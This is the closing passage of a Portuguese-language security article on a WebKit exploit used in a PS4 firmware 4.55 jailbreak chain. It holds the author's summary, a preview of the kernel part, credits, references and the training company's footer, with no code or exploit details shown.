Para um invasor experiente de webkit, esse bug é trivial de explorar. No entanto, para aqueles que não são experientes como eu, trabalhar com o WebKit para alavancar uma primitiva de leitura / gravação da corrupção de heap do WebCore pode ser confuso e desafiador. Espero que, através deste artigo, possa ajudar outros pesquisadores novos no webkit a entender um pouco da mágica que acontece por trás da exploração do webkit, pois, sem entender estruturas de dados fundamentais, como JSObjects e JSValues, pode ser difícil entender o que é acontecendo. É por isso que concentrei o núcleo da redação em ir da corrupção da pilha à obtenção de uma primitiva de leitura / gravação e como a confusão de tipos com objetos internos pode ser usada para alcançá-la.

Na próxima seção (ainda a ser publicada), abordaremos a parte de exploração do kernel da cadeia de jailbreak 4.55. Enquanto essa exploração do WebKit funcionará no 5.02 e inferior, a exploração do kernel funcionará apenas no firmware 4.55 e inferior.

# Créditos
[qwertyoruiopz] (https://twitter.com/qwertyoruiopz)

Lokihardt

# Referências
[Chromium Bug # 169685] (https://bugs.chromium.org/p/project-zero/issues/detail?id=1187) relatado por [email protected]

[Atacando mecanismos Javascript] (http://phrack.org/papers/attacking_javascript_engines.html) por sealo

[Análise técnica das explorações do Pegasus no iOS] (https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf) por Lookout

 

 

29 de outubro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.